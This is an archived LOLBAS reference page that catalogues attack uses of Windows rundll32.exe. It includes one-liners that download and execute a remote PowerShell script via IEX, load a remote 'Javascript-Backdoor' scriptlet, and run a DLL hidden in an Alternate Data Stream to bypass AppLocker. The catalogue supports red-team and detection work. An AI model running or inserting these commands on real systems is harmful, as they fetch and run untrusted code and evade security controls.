LOLBAS/Archive-Old-Version/OSBinaries/Rundll32.exe.md

Rundll32.exe

• Functions: Execute, Read ADS

rundll32.exe AllTheThingsx64,EntryPoint
Example command. AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
Use Rundll32.exe to execute a JavaScript script that runs calc.exe.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

• Resources:

  • https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
  • https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
  • https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundll32.md
  • https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
  • https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

• Full path:

  • C:\Windows\System32\rundll32.exe
  • C:\Windows\SysWOW64\rundll32.exe

• Notes: Thanks to Casey Smith - @subtee